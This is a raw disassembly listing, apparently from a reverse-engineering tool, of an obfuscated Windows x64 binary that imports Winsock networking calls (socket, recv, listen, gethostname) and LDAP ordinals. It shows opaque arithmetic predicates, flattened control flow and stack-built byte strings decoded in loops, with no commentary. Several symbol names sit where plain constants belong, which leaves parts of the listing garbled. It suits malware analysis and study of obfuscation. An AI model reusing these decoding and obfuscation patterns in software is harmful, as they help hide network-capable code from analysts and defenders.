movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x14013d807
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14013d21f
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x14013d936
movabs rdx, 0x7605aceb88db0320
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013d910
movabs rcx, 0xc1a100b078b287a4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14013d8ea
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x14013d544
lea rdx, [r10 + r15]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 6
je 0x14013d80c
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x14013d617
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r14
jae 0x14013d7b7
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x14013d6e5
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
cmp r11, 0x1000
jb 0x14013d2f2
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14013d8ea
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013d570
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x14013da0e
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14013d58a
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x14013d849
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013d5b9
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013d807
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013d5e4
movabs rcx, 0x52397dffa41c8a98
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14013d7dd
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013d49c
movabs rdx, 0xbb02d675c46d8190
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013d910
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013d641
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x14013d8e8
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013d66c
movabs rcx, 0xcf9135f5ad74a436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x14013d7dd
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013d689
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14013d5a2
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013d6b5
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x14013d876
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14013d4d8
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x14013da0e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013d711
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14013da0e
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013d73b
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x14013d833
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14013d758
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14013d5a2
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14013d787
movabs rdx, 0xd2e04b1307972740
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013d936
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013d50f
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r12b
jmp 0x14013d910
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0x7c0]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x7c0], cl
add rdi, r11
jmp 0x14013d876
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x7c0]
add bl, r9b
add bl, dl
jmp 0x14013d95e
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013d830
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013da1d
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x14013d936
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x14013d8e8
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x1e
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add r11, r13
jmp 0x14013d936
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r10, r13
jmp 0x14013da1d
mov r9, r8
movabs rcx, 0xf7605aceb88db032
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x7c0], al
add r11, r13
add rax, r11
sub r10, rax
jmp 0x14013d9b8
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14013da0e
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x7c0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x14013ce93
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013ce8e
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013ce7e
lea rdx, [rbp + 0x1598368]
jmp 0x14013da8a
lea rdx, [rbp + 0x16dc126]
jmp 0x14013da8a
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x3e0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a80]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013dabf
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1a80]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1a80]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1a80]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xbb0], 0xe3
mov byte [rbp + 0xbb1], 0xad
mov byte [rbp + 0xbb2], 0xec
mov byte [rbp + 0xbb3], 0xab
mov byte [rbp + 0xbb4], recv
mov byte [rbp + 0xbb5], 0xa9
mov byte [rbp + 0xbb6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xbb7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xbb8], 0x3d
mov byte [rbp + 0xbb9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xbba], al
mov byte [rbp + 0xbbb], __WSAFDIsSet
mov byte [rbp + 0xbbc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbbd], __WSAFDIsSet
mov byte [rbp + 0xbbe], reloc.WS2_32.dll_listen
mov byte [rbp + 0xbbf], 0x9f
mov byte [rbp + 0xbc0], 7
mov byte [rbp + 0xbc1], 0x9d
mov byte [rbp + 0xbc2], 5
mov byte [rbp + 0xbc3], 0x9b
mov byte [rbp + 0xbc4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbc5], 0x99
mov byte [rbp + 0xbc6], Ordinal_46
mov byte [rbp + 0xbc7], 0x87
lea r15d, [rax + 0x16]
mov byte [rbp + 0xbc8], r15b
mov byte [rbp + 0xbc9], 0x85
mov byte [rbp + 0xbca], Ordinal_217
mov byte [rbp + 0xbcb], 0x83
mov byte [rbp + 0xbcc], 0x3d
mov byte [rbp + 0xbcd], 0x81
mov byte [rbp + 0xbce], Ordinal_50
mov byte [rbp + 0xbcf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xbd0], Ordinal_46
mov byte [rbp + 0xbd1], Ordinal_143
mov byte [rbp + 0xbd2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xbd3], Ordinal_143
mov byte [rbp + 0xbd4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xbd5], Ordinal_143
mov byte [rbp + 0xbd6], 0x64
mov byte [rbp + 0xbd7], 0xf7
mov byte [rbp + 0xbd8], 0x5c
mov byte [rbp + 0xbd9], 0xf5
mov byte [rbp + 0xbda], 0x62
mov byte [rbp + 0xbdb], 0xf3
mov byte [rbp + 0xbdc], 0xaa
mov byte [rbp + 0xbdd], 0xf1
mov byte [rbp + 0xbde], 0xa2
mov byte [rbp + 0xbdf], 0xff
mov byte [rbp + 0xbe0], 0xae
mov byte [rbp + 0xbe1], 0xfd
mov byte [rbp + 0xbe2], 0x57
mov byte [rbp + 0xbe3], 0xfb
mov byte [rbp + 0xbe4], 0x60
mov byte [rbp + 0xbe5], 0xf9
mov byte [rbp + 0xbe6], Ordinal_79
mov byte [rbp + 0xbe7], 0xe7
mov byte [rbp + 0xbe8], 0xb6
mov byte [rbp + 0xbe9], 0xe5
mov byte [rbp + 0xbea], 0x77
mov byte [rbp + 0xbeb], 0xe3
mov byte [rbp + 0xbec], 0x7d
mov byte [rbp + 0xbed], 0xe1
mov byte [rbp + 0xbee], 0x47
mov byte [rbp + 0xbef], 0xef
mov byte [rbp + 0xbf0], 0xec
mov byte [rbp + 0xbf1], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xbf2], xmm0
mov qword [rbp + 0xc02], rax
mov byte [rbp + 0xc0a], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x5b
jae 0x14013e8a6
movzx r9d, byte [rbp + r10 + 0xbb0]
mov r8, r9
cmp rdi, r10
ja 0x14013e89d
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14013dd46
movabs rcx, 0xfa317cbfea226b1a
add rcx, r10
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x14013dd80
je 0x14013e816
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013e789
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14013e753
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14013e709
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013e6e1
cmp r11, r10
ja 0x14013e894
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x14013dda6
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14013df8d
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14013e69d
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013e67e
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013e65b
lea rax, [r11 + 7]
cmp rdi, rax
je 0x14013e638
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14013e325
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14013e304
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14013e2f0
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14013e2ce
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14013e2ac
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14013e286
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013e264
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013e250
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14013e22e
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14013e208
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14013dde7
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x14013e871
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x14013e84b
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14013dfc6
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14013dfa4
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14013df7e
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x14013e1ad
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x14013e152
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14013e104
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14013e0e2
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14013e0c0
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x14013e09a
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x14013e078
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14013e064
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14013e043
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14013e02f
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x14013e00d
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14013dfec
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14013dde7
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x14013dde7
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013ddda
movabs rcx, 0xe47bc2b44c6b50ea
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
jmp 0x14013dd80
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013dd0f
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x14013e6b9
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14013e6fe
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14013e47e
movabs rdx, 0x5350f17229c7c674
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x14013e725
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14013e762
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14013e777
movabs rdx, 0x762804f2acf943d8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e7ad
movabs rcx, 0x81c50b72d8b46da4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14013e7df
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14013e834
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
cmp r11, 0x41
jb 0x14013e5d4
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14013e6bb
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, 3
jae 0x14013e5e1
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x14013e51a
movabs rdx, 0x23d9f578ff064e54
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x14013e121
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x14013e60d
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x14013e439
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14013e173
movabs rdx, 0x245b66753cf0b6cc
add rdx, r10
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e834
movabs rcx, 0x2ff86cf568abe098
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14013e7df
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14013e397
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x14013e777
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013e774
movabs rcx, 0x5e6c86f6179887c8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x14013e727
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x14013e701
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x14013e422
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x34
jmp 0x14013e6b9
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x14013e354
movabs rdx, 0xfa317cbfea226b1a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e1ca
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013e383
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013e834
cmp rdi, rcx
jne 0x14013e3ac
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14013e631
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013e3db
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e727
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14013e406
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14013e701
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013e1ca
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e6fe
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013e466
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14013e6b9
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013e495
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013e701
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013e4c0
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x14013e774
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013e4eb
movabs rcx, 0x4c7f8c399815609e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
jmp 0x14013e7ad
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14013e173
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x14013e834
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013e535
movabs rdx, 0x183ceef8d34b2488
mov ecx, r12d
jmp 0x14013e36c
cmp rdi, rcx
jne 0x14013e55d
movabs rdx, 0xc9fe878a78ffabc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x14013e7df
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013e588
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14013e774
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013e5a5
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14013e422
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14013e121
movabs rcx, 0xbb54baf77571d628
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14013e6bb
mov byte [rbp + r10 + 0xbb0], bl
jmp 0x14013e843
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0xbb0]
add bl, r9b
jmp 0x14013e725
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0xbb0]
sub bl, 0x5c
add bl, dl
jmp 0x14013e7ad
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14013e7df
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x14013e777
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x14013e701
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x14013e6fe
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
add r11, r13
sub r10, r13
jmp 0x14013e843
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x14013e774
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013e843
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x92af2436dc62c3de
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xbb0], al
add r11, r13
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14013e834
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
